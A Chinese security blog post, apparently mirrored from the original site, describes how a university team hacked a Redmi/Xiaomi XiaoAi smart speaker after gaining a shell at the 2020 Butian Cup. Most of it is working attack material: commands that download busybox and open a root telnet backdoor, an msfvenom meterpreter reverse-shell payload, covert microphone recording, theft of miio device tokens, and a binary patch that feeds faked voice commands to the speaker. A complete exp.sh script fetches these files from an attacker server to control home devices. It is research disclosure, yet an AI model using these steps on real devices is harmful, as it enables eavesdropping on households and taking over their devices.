5

2020补天杯复盘:小米小爱音箱 后渗透利用公开

 2 years ago
source link: https://xuanxuanblingbling.github.io/iot/2022/09/16/mi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

2020补天杯复盘:小米小爱音箱 后渗透利用公开

2022-09-16

| IOT

| 1962

2020年11月,淼哥、老徐、我,仨人代表清华校队Redbud参加补天杯,项目为现场破解小米小爱音箱Pro。预期效果为在内网环境下,通过对音箱的破解,接管目标家庭的所有米家智能家居,包括:扫地机器人,窗帘,电饭锅,台灯以及电风扇。但由于小米安全人员(李海粟、曾颖涛)进行现场干扰,导致比赛现场的小米小爱音箱启动并联网后,就直接被小米后台远程重置,也就无法进入正常的业务逻辑,最后判定漏洞演示失败。本篇将以Redmi小爱音箱Play(2020年左右软件版本的1.60.10)为例,公开我们当时完成的播放音乐、录音窃听、家居控制等后渗透利用的具体方法,虽然过后看起来难度不大,但也是我们仨经过曲折探索才找到的一条可行路径。

image

小米小爱音箱全系列的技术方案类似,在软件版本上也基本保持同步,所以在软件上的后渗透利用方法也大体上强相关于软件版本,弱相关于硬件设备。本次公开的利用方法在2020年左右的软件版本(1.60.10、1.66.7等)上测试完成,目前新版本(1.80.xx及以上)不保证有效。同样,对于软件方案的整体情况说明也仅针对于老版本。先通过任意漏洞拿到shell,有的设备自带telnetd,如果没有可以自行下载完整busybox并开启telnetd:

cmd =  "/usr/bin/wget --no-check-certificate https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l "
cmd += "-O /data/busybox;"
cmd += "chmod +x /data/busybox;"
cmd += "/data/busybox telnetd -p 23 -l /bin/sh &"

全志SoC,ARMv7小端:

/ # cat /proc/cpuinfo
processor       : 0
model name      : ARMv7 Processor rev 5 (v7l)
BogoMIPS        : 57.14
Features        : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xc07
CPU revision    : 5

processor       : 1
model name      : ARMv7 Processor rev 5 (v7l)
BogoMIPS        : 57.14
Features        : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xc07
CPU revision    : 5

Hardware        : sun8iw18
Revision        : 0000
Serial          : 0000000000000000

可以系统确定为魔改openwrt:

# cat /proc/version 
Linux version 4.9.118 (gcc version 6.4.1) #1 SMP Sun Jan 19 10:57:28 UTC 2020

# opkg
opkg must have one sub-command argument
usage: opkg [options...] sub-command [arguments...]
where sub-command is one of:

通过mount信息可见,根文件系统是squashfs,因此不能通过文件系统本身直接进行持久化的修改:

# mount
/dev/root on / type squashfs (ro,noatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=29128k,nr_inodes=7282,mode=755)
proc on /proc type proc (rw,nosuid,nodev,noexec,noatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,noatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
tmpfs on /dev type tmpfs (rw,nosuid,relatime,size=512k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
debugfs on /sys/kernel/debug type debugfs (rw,noatime)
pstore on /sys/fs/pstore type pstore (rw,relatime)
/dev/by-name/UDISK on /data type ext4 (rw,relatime,data=ordered)
/dev/by-name/UDISK on /etc/shadow type ext4 (rw,relatime,data=ordered)

允许持久化落地的文件夹只有/data目录, /etc/shadow其实也是由/data目录的一个文件单独挂载的,目的是可动态调整linux中root用户的密码:

/ # cd /etc/init.d/
/etc/init.d # grep -r "shadow" ./
./boot_check:if [ ! -f /data/console/shadow ]; then
./boot_check:    cp /etc/shadow /data/console
./boot_check:mount --bind /data/console/shadow /etc/shadow

显然/data目录应该保存着各种配置信息,如wifi,蓝牙,用户账户,以及非常有价值,拿到可以直接控设备的miio的token:

/data # ls
ai-crontab       console          mdspeech_status  mipns            timer
alarm            dnsmasq.time     messagingagent   player           upnp-disc
bt               etc              mibrain          sound            wifi
busybox          log              miio             status           workday
/data # ls -al ./miio
drwxr-xr-x    2 root     root          1024 Jun 19 12:02 .
drwxr-xr-x   18 root     root          1024 Jun 19 13:19 ..
-rw-r--r--    1 root     root            17 Jan 19  2020 dtoken
-rw-r--r--    1 root     root            35 Jun 19 13:13 miio_sessionid
-rw-r--r--    1 root     root            11 Jun 19 13:13 miio_token

不过很遗憾,我并没有在/data目录下找到可以在系统启动过程中影响代码执行的文件,没找到类似自启动脚本什么的,所以无法将开启telnetd等后门的代码塞到开机启动的流程中。因此也就无法通过单次攻击,达到重启后的权限驻留。可能对flash上的squashfs固件进行修改是唯一的出路,不过我并没有尝试过。另外,可以使用meterpreter拉文件下来:

➜  msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.40.119 LPORT=6666 -f elf -o backdoor

所有进程如下:

/ # ps
  PID USER       VSZ STAT COMMAND
    1 root      1328 S    /sbin/procd
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
    4 root         0 SW   [kworker/0:0]
    5 root         0 SW<  [kworker/0:0H]
    6 root         0 SW   [kworker/u4:0]
    7 root         0 SW   [rcu_sched]
    8 root         0 SW   [rcu_bh]
    9 root         0 SW   [migration/0]
   10 root         0 SW<  [lru-add-drain]
   11 root         0 SW   [cpuhp/0]
   12 root         0 SW   [cpuhp/1]
   13 root         0 SW   [migration/1]
   14 root         0 SW   [ksoftirqd/1]
   15 root         0 SW   [kworker/1:0]
   16 root         0 SW<  [kworker/1:0H]
   17 root         0 SW   [kdevtmpfs]
   18 root         0 SW   [kworker/u4:1]
  165 root         0 SW   [kworker/u4:2]
  228 root         0 SW   [oom_reaper]
  229 root         0 SW<  [writeback]
  231 root         0 SW<  [crypto]
  232 root         0 SW<  [bioset]
  234 root         0 SW<  [kblockd]
  273 root         0 SW   [kworker/0:1]
  275 root         0 SW<  [cfg80211]
  319 root         0 SW   [kswapd0]
  320 root         0 SW<  [vmstat]
  451 root         0 SW<  [bioset]
  452 root         0 SW   [nand]
  453 root         0 SW   [nftld]
  465 root         0 SW   [nand_rcd]
  473 root         0 SW   [kworker/1:1]
  483 root         0 SW<  [btfwwork]
  484 root         0 SW   [cfinteractive]
  485 root         0 SW   [autohotplug]
  486 root         0 SW   [irq/165-sunxi-m]
  648 root         0 SW<  [ipv6_addrconf]
  666 root         0 SW<  [kworker/1:1H]
  668 root         0 SW<  [kworker/0:1H]
  860 root       972 S    /sbin/ubusd
  866 root       672 S    /sbin/askfirst /bin/login
 1249 root         0 SW<  [krfcommd]
 1330 root      1312 S    /usr/sbin/dbus-daemon --system
 1382 root      1412 S    /sbin/netifd
 1401 root         0 SW   [jbd2/nand0p9-8]
 1402 root         0 SW<  [ext4-rsv-conver]
 1409 root      2600 S<   /usr/bin/quickplayer
 1418 root      1040 S<   /bin/ledserver
 1460 root      1044 S    /usr/sbin/crond -f -c /etc/crontabs -l 5
 1478 root      4296 S    {syslog-ng} supervising syslog-ng
 1479 root      4348 S    /usr/sbin/syslog-ng
 1580 root      6444 S    /usr/bin/xiaomi_dns_server
 1621 root         0 SW   [ksdioirqd/mmc0]
 1640 root         0 SW   [kworker/0:2]
 1641 root         0 SW   [RTW_XMIT_THREAD]
 1642 root         0 SW   [RTW_CMD_THREAD]
 1643 root         0 SW   [RTWHALXT]
 1655 root      1724 S    /usr/sbin/wpa_supplicant -Dnl80211 -iwlan0 -c/data/wifi/wpa_supplicant.conf -s
 1678 root      1040 S    udhcpc -f -S -s /bin/simple_dhcp.sh -R -t 0 -i wlan0 -x hostname:MiAiSoundbox-L07A
 1699 root       704 S    odhcp6c -s /lib/netifd/odhcp6c-script.sh -P0 -e -v wlan0
 1702 root      1048 S    {wireless_point.} /bin/sh /usr/bin/wireless_point.sh
 2672 root       820 S    rtk_hciattach -n -s 115200 ttyS1 rtk_h4
 2724 nobody     872 S    /usr/sbin/dnsmasq -C /var/etc/dnsmasq.conf -k -x /var/run/dnsmasq/dnsmasq.pid
 2747 root      9744 S    /usr/bin/upnp-disc
 2763 root      1332 S    /usr/bin/alarmd
 2783 root         0 SW<  [kworker/u5:0]
 2784 root         0 SW<  [hci0]
 2785 root         0 SW<  [hci0]
 2788 root         0 SW<  [kworker/u5:1]
 2789 root         0 SW<  [kworker/u5:2]
 2807 root      3396 S    /usr/bin/bluetoothd -n
 2841 root     10072 S    /usr/bin/mediaplayer
 2851 root      7844 S    /usr/bin/messagingagent --handler_threads 8
 2860 root      1024 S    /bin/wifitool
 2869 root      5212 S    /usr/bin/statpoints_daemon
 2875 root       736 S    /usr/sbin/wpa_cli -a/bin/wpa_action.sh
 3116 root      1032 S    /usr/bin/miio_client -L /dev/null
 3117 root      1092 S    {miio_client_hel} /bin/sh /usr/bin/miio_client_helper
 3118 root      1236 S    /usr/bin/miio_service
 3388 root      5248 S    /usr/bin/bluealsa -i hci0 -p a2dp-sink
 3390 root      5936 S    /usr/bin/bluez_mibt_classical
 3391 root      2628 S    /usr/bin/bluez_mibt_ble
 3454 root       564 S    /usr/bin/miio_recv_line
 3551 mosquitt   844 S    mosquitto -c /etc/mosquitto/mosquitto.conf
 3573 root     18928 S<   /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l
 3582 root       960 S    /bin/touchpad
 3769 root      5636 S    /usr/bin/mibrain_service
 3801 root      1400 S    /usr/bin/mico_ai_crontab
 3842 root      1104 S    /usr/bin/mico_kid_mode
 3851 root       780 S    /usr/bin/nano_httpd
 3854 root      5760 S    /usr/bin/bluealsa-aplay 00:00:00:00:00:00 -vv -i hci0 -d default --profile-a2dp
 3873 root      3316 S    /usr/bin/pns_ubus_helper
 3906 root      3204 S    /usr/bin/mibt_mesh_proxy
 4711 root      1252 S    /data/busybox telnetd -p 23 -l /bin/sh
 4730 root      1040 S    sleep 10s
 4736 root      1040 S    /bin/sh
 4759 root      1040 R    ps

其中比较关键的是这里的3573号mipns-xxx进程,他是处理语音交互的进程,我们喊的“小爱同学,你去死吧”,就由这个进程来处理。这个进程对应的二进制名字后面的xxx,比如这里的horizon应该表示具体的硬件型号,所以小米厂商的看到horizon应该就知道我这个示例是Redmi小爱音箱Play。

3573 root     18928 S<   /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l

我们来看看这个进程的内存布局(省略部分堆):

  • 从Pwn的防护角度上:是有NX,库有地址随机化
  • 从整个业务的分析过程,以及最后的控制家居的利用的角度上:对此进程的动态链接库处理是重中之重!
/ # cat /proc/3573/maps
00010000-00019000 r-xp 00000000 5d:05 386        /usr/bin/mipns-horizon
00028000-00029000 r--p 00008000 5d:05 386        /usr/bin/mipns-horizon
00029000-00048000 rw-p 00009000 5d:05 386        /usr/bin/mipns-horizon
01c6e000-01df9000 rw-p 00000000 00:00 0          [heap]
...
...
b674c000-b694c000 rw-s 00000000 5d:09 45         /data/mibrain/mibrain_asr_nlp.rcd
b694c000-b6a43000 r-xp 00000000 5d:05 264        /lib/libstdc++.so.6.0.22
b6a43000-b6a48000 r--p 000e7000 5d:05 264        /lib/libstdc++.so.6.0.22
b6a48000-b6a4b000 rw-p 000ec000 5d:05 264        /lib/libstdc++.so.6.0.22
b6a4b000-b6a4d000 rw-p 00000000 00:00 0 
b6a4d000-b6b55000 r-xp 00000000 5d:05 985        /usr/lib/libmibrainsdk.so
b6b55000-b6b6d000 rw-p 000f8000 5d:05 985        /usr/lib/libmibrainsdk.so
b6b6d000-b6b6f000 rw-p 00000000 00:00 0 
b6b6f000-b6b80000 r-xp 00000000 5d:05 286        /lib/libblobmsg_json.so
b6b80000-b6b81000 r--p 00001000 5d:05 286        /lib/libblobmsg_json.so
b6b81000-b6b82000 rw-p 00002000 5d:05 286        /lib/libblobmsg_json.so
b6b82000-b6b9b000 r-xp 00000000 5d:05 281        /lib/libgcc_s.so.1
b6b9b000-b6b9c000 rw-p 00009000 5d:05 281        /lib/libgcc_s.so.1
b6b9c000-b6c22000 r-xp 00000000 5d:05 874        /usr/lib/libmdspeech.so
b6c22000-b6c24000 rw-p 00076000 5d:05 874        /usr/lib/libmdspeech.so
b6c24000-b6c25000 rw-p 00000000 00:00 0 
b6c25000-b6c3e000 r-xp 00000000 5d:05 1335       /usr/lib/lib_oal_alpha.so
b6c3e000-b6c3f000 rw-p 00009000 5d:05 1335       /usr/lib/lib_oal_alpha.so
b6c3f000-b6da0000 r-xp 00000000 5d:05 872        /usr/lib/libvpm.so
b6da0000-b6daf000 rw-p 00151000 5d:05 872        /usr/lib/libvpm.so
b6daf000-b6dc9000 rw-p 00000000 00:00 0 
b6dc9000-b6ddf000 r-xp 00000000 5d:05 875        /usr/lib/libjson-c.so.2.0.1
b6ddf000-b6de0000 r--p 00006000 5d:05 875        /usr/lib/libjson-c.so.2.0.1
b6de0000-b6de1000 rw-p 00007000 5d:05 875        /usr/lib/libjson-c.so.2.0.1
b6de1000-b6df5000 r-xp 00000000 5d:05 282        /lib/libubus.so
b6df5000-b6df6000 r--p 00004000 5d:05 282        /lib/libubus.so
b6df6000-b6df7000 rw-p 00005000 5d:05 282        /lib/libubus.so
b6df7000-b6e0e000 r-xp 00000000 5d:05 246        /lib/libubox.so
b6e0e000-b6e0f000 r--p 00007000 5d:05 246        /lib/libubox.so
b6e0f000-b6e10000 rw-p 00008000 5d:05 246        /lib/libubox.so
b6e10000-b6e22000 r-xp 00000000 5d:05 906        /usr/lib/libmibrain-common-util.so
b6e22000-b6e23000 rw-p 00002000 5d:05 906        /usr/lib/libmibrain-common-util.so
b6e23000-b6e4f000 r-xp 00000000 5d:05 897        /usr/lib/libmibrain-common-sdk.so
b6e4f000-b6e50000 rw-p 0001c000 5d:05 897        /usr/lib/libmibrain-common-sdk.so
b6e50000-b6e51000 rw-p 00000000 00:00 0 
b6e51000-b6e70000 r-xp 00000000 5d:05 939        /usr/lib/libz.so.1.2.8
b6e70000-b6e71000 r--p 0000f000 5d:05 939        /usr/lib/libz.so.1.2.8
b6e71000-b6e72000 rw-p 00010000 5d:05 939        /usr/lib/libz.so.1.2.8
b6e72000-b6f26000 r-xp 00000000 5d:05 888        /usr/lib/libasound.so.2.0.0
b6f26000-b6f2b000 r--p 000a4000 5d:05 888        /usr/lib/libasound.so.2.0.0
b6f2b000-b6f2c000 rw-p 000a9000 5d:05 888        /usr/lib/libasound.so.2.0.0
b6f2c000-b6f91000 r-xp 00000000 5d:05 234        /lib/libc.so
b6fa0000-b6fa1000 r--s 00000000 00:0f 2173       /tmp/TZ
b6fa1000-b6fa2000 r--p 00065000 5d:05 234        /lib/libc.so
b6fa2000-b6fa3000 rw-p 00066000 5d:05 234        /lib/libc.so
b6fa3000-b6fa5000 rw-p 00000000 00:00 0 
be976000-be997000 rw-p 00000000 00:00 0          [stack]
befd4000-befd5000 r-xp 00000000 00:00 0          [sigpage]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

小米非常喜欢用ubus等消息总线实现进程间通信,因此在后续的利用过程中,由于ubus机制使得我们复现功能进行后渗透利用非常便捷:

使用ubus list查看所有注册的ubus服务:

# ubus list
ai_crontab
alarm
led
mediaplayer
messagingagent
mible
mibrain
mibt
mibt_mesh
miio
network
network.device
network.interface
network.wireless
nightmode
path_child_mode
pnshelper
qplayer
service
system
upnp-disc
wifitool

每个服务背后都对应着相应的进程,部分可以通过进程名对应出来:

/ # ps 
 1418 root      1040 S<   /bin/ledserver
 3099 root     10072 S    /usr/bin/mediaplayer
 3109 root      8028 S    /usr/bin/messagingagent --handler_threads 8
 3118 root      1024 S    /bin/wifitool
 3307 root      5936 S    /usr/bin/bluez_mibt_classical
 3308 root      2628 S    /usr/bin/bluez_mibt_ble
 3724 root      5636 S    /usr/bin/mibrain_service
 3742 root      1400 S    /usr/bin/mico_ai_crontab
 3907 root      9744 S    /usr/bin/upnp-disc
 3923 root      1332 S    /usr/bin/alarmd
 4037 root      1032 S    /usr/bin/miio_client -L /dev/null
 4038 root      1092 S    {miio_client_hel} /bin/sh /usr/bin/miio_client_helper
 4039 root      1236 S    /usr/bin/miio_service
 4272 root       564 S    /usr/bin/miio_recv_line

ubus服务名与进程名不是必须对应的,其本质是进程使用了libubus.so:

/ # ps | grep mediaplayer
 3099 root     10072 S    /usr/bin/mediaplayer
/ # cat /proc/3099/maps
00010000-0005c000 r-xp 00000000 5d:05 394        /usr/bin/mediaplayer
0006b000-0006c000 r--p 0004b000 5d:05 394        /usr/bin/mediaplayer
0006c000-0006d000 rw-p 0004c000 5d:05 394        /usr/bin/mediaplayer
...
b6652000-b667b000 r-xp 00000000 5d:05 1337       /usr/lib/libnghttp2.so.14.13.2
b667b000-b667c000 r--p 00019000 5d:05 1337       /usr/lib/libnghttp2.so.14.13.2
b667c000-b667e000 rw-p 0001a000 5d:05 1337       /usr/lib/libnghttp2.so.14.13.2
b667e000-b66c5000 r-xp 00000000 5d:05 968        /usr/lib/libopus.so.0.5.3
b66c5000-b66c6000 r--p 00037000 5d:05 968        /usr/lib/libopus.so.0.5.3
b66c6000-b66c7000 rw-p 00038000 5d:05 968        /usr/lib/libopus.so.0.5.3
b66c7000-b66e6000 r-xp 00000000 5d:05 939        /usr/lib/libz.so.1.2.8
b66e6000-b66e7000 r--p 0000f000 5d:05 939        /usr/lib/libz.so.1.2.8
b66e7000-b66e8000 rw-p 00010000 5d:05 939        /usr/lib/libz.so.1.2.8
b66e8000-b6737000 r-xp 00000000 5d:05 984        /usr/lib/libssl.so.1.0.0
b6737000-b673a000 r--p 0003f000 5d:05 984        /usr/lib/libssl.so.1.0.0
b673a000-b673c000 rw-p 00042000 5d:05 984        /usr/lib/libssl.so.1.0.0
b673c000-b6755000 r-xp 00000000 5d:05 281        /lib/libgcc_s.so.1
b6755000-b6756000 rw-p 00009000 5d:05 281        /lib/libgcc_s.so.1
b6756000-b676a000 r-xp 00000000 5d:05 282        /lib/libubus.so
b676a000-b676b000 r--p 00004000 5d:05 282        /lib/libubus.so
b676b000-b676c000 rw-p 00005000 5d:05 282        /lib/libubus.so

声音系统为ALSA(高级Linux声音架构):

对于后渗透利用,可以尽量忽略内核部分的处理,以下标红的目标为利用过程中需要关注的:

image

可以对每层实体进行单独理解,首先是用户态程序:

对用户态程序的调用分析:

ALSA内核用户态分界面主要是/dev/snd/下的设备文件:

/ # ls -al /dev/snd
drwxr-xr-x    2 root     root           180 Jan  1  1970 .
drwxr-xr-x    6 root     root          1960 Jan 19  2020 ..
crw-r--r--    1 root     root      116,   0 Jan  1  1970 controlC0
crw-r--r--    1 root     root      116,  32 Jan  1  1970 controlC1
crw-r--r--    1 root     root      116,  24 Jan  1  1970 pcmC0D0c
crw-r--r--    1 root     root      116,  16 Jan  1  1970 pcmC0D0p
crw-r--r--    1 root     root      116,  56 Jan  1  1970 pcmC1D0c
crw-r--r--    1 root     root      116,  48 Jan  1  1970 pcmC1D0p
crw-r--r--    1 root     root      116,  33 Jan  1  1970 timer
  • snd的含义为sound
  • controlC0用于声卡的控制,例如通道选择,混音,麦克风的控制等
  • C0D0 代表的是声卡0 中的设备0,
  • pcmC0D0c 最后一个c 代表capture,用于录音的pcm
  • pcmC0D0p 最后一个p 代表 playback,用于播放的pcm
  • 这些都是alsa-driver 中的命名规则

硬件部分:

最终的扬声器和麦克风接口:

关于IoT后渗透的简单介绍之前写过了:Getshell尾声:盗取与操控

当你拿到一个iot设备(嵌入式linux)的shell后,你怎么样去控制设备的这些外设,从而控制整个的设备的功能呢?这些设备的图形控制端是在手机app上,本设备上是一般没有图形控制界面的。所以要去逆向分析整个系统,找到关键的控制功能处,并想办法介入,修改 ,控制,或者伪造请求。

对于音箱的利用主要关注音频系统,整体的三种利用入口如图,可见虽然是最终控制硬件,不过我们可以介入的位置都是软件,而且还都是在用户态层次,不需要对内核层的音频系统有所处理:

image

播放音乐(使用扬声器)

使用aplay可以播放wav格式的音频:

# aplay /tmp/test.wav

在/bin/wakeup.sh可找到使用ubus播放音频的方法,可播放mp3:

# ubus -t 1 call mediaplayer player_play_url {\"url\":\"file:///tmp/test.mp3\",\"type\":1}

使用ubus调解音量:

# ubus -t 1 call mediaplayer player_set_volume {\"volume\":60}

录音窃听(使用麦克风)

可以使用aplay确认声卡个数,经过测试使用的声卡是第一个,即hw:0,0:

# aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: audiocodec [audiocodec], device 0: SUNXI-CODEC sun8iw18codec-0 []
  Subdevices: 0/1
  Subdevice #0: subdevice #0
card 1: snddaudio2 [snddaudio2], device 0: SUNXI-AUDIO snd-soc-dummy-dai-0 []
  Subdevices: 1/1
  Subdevice #0: subdevice #0

使用arecord,录音,需要参数如下:

参数选项 含义 本命令参数
-D 选择设备名称 使用声卡hw:0,0
-f 录音格式 cd(16_LE, 44100Hz)
-t 录音类型 wav

然后录音,发现提示资源忙,应该是声卡被占用:

# arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
arecord: main:722: audio open error: Resource busy

分析是语音系统主进程mipns-horizon占用的:

3573 root     18928 S<   /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l

可以使用一下两种方法杀掉这个进程:

# killall mipns-horizon
# ps | grep mipns | grep -v grep |awk '{print $1}' | xargs kill -9

然后即可正常录音,并可以使用aplay测试播放:

# killall mipns-horizon ; arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
# aplay /tmp/test.wav

控制家居(劫持麦克风)

播放音乐和录音窃听都是直接使用对应功能的正常软件,这也是一个语音音箱最基本的功能。不过如今的智能语音音箱已然是家庭里的智能中控,一句小爱同学,便可操控全屋智能。因此从功能上来看,如果接管了音箱,也就应该可以接管目标家庭的所有智能家居。除了使用miio系列的token控制以外,有没有更加通用的办法?后来我们想到一种不仅通用,而且暴力、直接、朴素的方法:伪造控制语音,直接喂给接收麦克风音频的控制代码,进而控制智能家居,大概方法如下:

image
  • 录制虚假的控制音频:fake_voice.raw,内容为“小爱同学,控制命令(打开台灯)”
  • 构造虚假声卡:pcm.fake,并绑定fake_voice.raw为声卡输入
  • 劫持业务进程的声卡绑定:二进制patch声卡接口从hw:0,0修改为fake
  • 最终重启业务进程即可

确认声卡参数

伪造的控制音频不是随便录个mp3就行,而是需要根据设备本身声卡参数录制无封装格式的原始音频数据。原因也很显然,我们伪造的控制音频最终是直接喂给声卡的输入,从层次上就是在空中传递的声音并经过采样量化的数据,目前我打过的两个音箱的声卡采样参数如下:

设备 采样位数 采样率 通道数
小米小爱音箱Pro S16_LE 48000 8
Redmi小爱音箱Play S16_LE 16000 3

对于这些参数的理解可以参考:

寻找设备对应参数的过程我们走了一些弯路,最终发现一个通用且简单的办法即可获取到。即通过/proc/asound/文件系统下对应声卡目录下的hw_params文件可以获得对应参数:

# ls /proc/asound/
audiocodec  cards       pcm         timers
card0       devices     seq         version
card1       oss         snddaudio2

#  ls /proc/asound/card0/
id         oss_mixer  pcm0c      pcm0p

# cat /proc/asound/card0/pcm0c/sub0/hw_params 
access: RW_INTERLEAVED
format: S16_LE
subformat: STD
channels: 3
rate: 16000 (16000/1)
period_size: 320
buffer_size: 2560

固定参数录音

然后即可使用对应参数录制伪造控制的原始音频,需要注意的是:

  • 录制内容:小爱同学,控制命令(打开台灯)
  • 录制声音:录制时需要声音大一些,之后测试播放才能听清
# killall mipns-horizon; arecord -Dhw:0,0 -d 8  -f S16_LE -r 16000 -c 3 -t raw /tmp/test.raw

对应参数如下:

选项 含义 本命令参数
-D 选择设备名称 使用声卡hw:0,0
-d 录音时长 录音8秒
-f 录音格式 S16_LE
-r 采样率 16000是16KHz采样
-c 声道数 3
-t 录音类型 raw

然后可以播放测试刚才录制的音频:

# aplay  -f S16_LE -r 16000 -c 3  -t raw /tmp/test.raw

构造虚假声卡

ASLA在配置文件中,允许file类型的声卡存在,可以使用infile参数设置喂给声卡的输入文件:

复制/etc/asound.conf,到可写目录中,添加如下虚假声卡:

pcm.fake {
    type file  
    slave { pcm "hw:0,0"}  
    file /dev/null     
    infile /tmp/test.raw
}

由于/etc目录也为squashfs只读文件系统下的目录,所以无法直接覆盖,需要一些小技巧,如mount -o bind,即可覆盖文件系统的路径为虚假的配置文件:

# mount -o bind /tmp/asound.conf  /etc/asound.conf 

覆盖后,既可以使用虚假的声卡进行录音测试,无论你对着音箱怎么叫喊,录制的结果都是我们喂进去的文件内容:

# killall mipns-horizon; arecord -Dfake -d 8  -f S16_LE -c 3 -r 16000 -t raw /tmp/test.raw2
# aplay  -f S16_LE -c 3 -r 16000  /tmp/test.raw2

劫持声卡绑定

然后需要让音箱智能语音系统使用我们的名为fake的伪造声卡,经过逆向分析,调用声卡的代码在语音主进程mipns-xxx的一个动态链接库中,不同设备以及不同软件版本下的此动态库的名字可能不同,如以下:

设备 软件版本 主进程 替换库
小米小爱音箱Pro 1.66.7 mipns-xiaomi libxaudio_engine.so
Redmi小爱音箱Play 1.60.10 mipns-horizon libvpm.so

确定库的方法为搜索绑定声卡的函数:snd_pcm_open,此函数实现在libasound.so.2中:

函数文档:ALSA project - the C library reference PCM Interface

例如在Redmi小爱音箱Play中:

/ # grep -r "snd_pcm_open" /usr/lib
/usr/lib/libasound.so.2:snd_pcm_open
...
/usr/lib/libvpm.so:snd_pcm_open
/usr/lib/libxiaomimediaplayer.so:snd_pcm_open

libasound.so.2是alsa实现库,libxiaomimediaplayer.so主进程mipns-horizon没有使用,因此声卡绑定的逻辑在libvpm.so中。snd_pcm_open函数的第二个参数即为声卡名,一般为硬编码的字符串hw:?,?,换掉即可。

图中以小米小爱音箱Pro的libxaudio_engine.so为例:

没使用Redmi为例的原因为,其libvpm_fake.so的snd_pcm_open函数的参数为变量传递过来,查看不直接

image

除了使用IDA、010editer进行patch以外,还可以直接使用dd进行替换,使用strings确定字符串偏移:

# cp /usr/lib/libvpm.so /tmp/libvpm_fake.so

# strings -t d /usr/lib/libvpm.so | grep hw:0
1226312 hw:0,0

# echo -n -e "fake\x00" | dd of=/tmp/libvpm_fake.so  bs=1 count=5 seek=1226312 conv=notrunc
5+0 records in
5+0 records out

然后一样使用mount -o bind替换动态库:

# mount -o bind /tmp/libvpm_fake.so  /usr/lib/libvpm.so 

重启业务进程

伪造的声卡,伪造的音频,伪造的动态库都搞定后,kill业务进程即可,其会自动重启:

# killall mipns-horizon

服务器(补天杯当时我们还特意使用了杭州阿里云以确保速度)准备文件:

  • asound.conf
  • libvpm_fake.so
  • noise.mp3
  • saodi_run.raw
  • saodi_stop.raw

完整利用脚本exp.sh如下:

  • play:把声音跳到最大播放自定义音频
  • prepare:把声音调到最低,然后准备好虚假的动态库与声卡配置文件并挂载覆盖
  • saodi_run:替换声卡配置文件中的输入文件为扫地机器人出动的音频,并重启业务进程
  • saodi_run:替换声卡配置文件中的输入文件为扫地机器人回家的音频,并重启业务进程
server="192.168.40.119:8000"
if [ "$1" = "play" ]; then
  wget -P /tmp http://${server}/noise.mp3
  ubus -t 1 call mediaplayer player_set_volume {\"volume\":100}
  ubus -t 1 call mediaplayer player_play_url {\"url\":\"file:///tmp/noise.mp3\",\"type\":1}
elif [ "$1" = "prepare" ]; then
  ubus -t 1 call mediaplayer player_set_volume {\"volume\":0}
  wget -P /tmp http://${server}/libvpm_fake.so
  wget -P /tmp http://${server}/asound.conf
  mount -o bind /tmp/asound.conf     /etc/asound.conf 
  mount -o bind /tmp/libvpm_fake.so  /usr/lib/libvpm.so
elif [ "$1" = "saodi_run" ]; then
  rm /tmp/*.raw
  wget -P /tmp http://${server}/saodi_run.raw
  sed -i 's/infile.*/infile "\/tmp\/saodi_run.raw"/g' /tmp/asound.conf
  umount /etc/asound.conf ; mount -o bind /tmp/asound.conf  /etc/asound.conf 
  killall mipns-horizon
  echo "[+] saodi_run"
elif [ "$1" = "saodi_stop" ]; then
  rm /tmp/*.raw
  wget -P /tmp wget http://${server}/saodi_stop.raw
  sed -i 's/infile.*/infile "\/tmp\/saodi_stop.raw"/g' /tmp/asound.conf
  umount /etc/asound.conf ; mount -o bind /tmp/asound.conf  /etc/asound.conf 
  killall mipns-horizon
  echo "[+] saodi_stop"
fi

使用如下:

/tmp # ./exp.sh play
/tmp # ./exp.sh prepare
/tmp # ./exp.sh saodi_run
/tmp # ./exp.sh saodi_stop

比赛时我们还实现了更完整,更隐蔽的利用,包括不限于:

  • 让设备彻底静音
  • 熄灭设备的提示灯
  • 干掉设备的ota升级程序

image

image

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK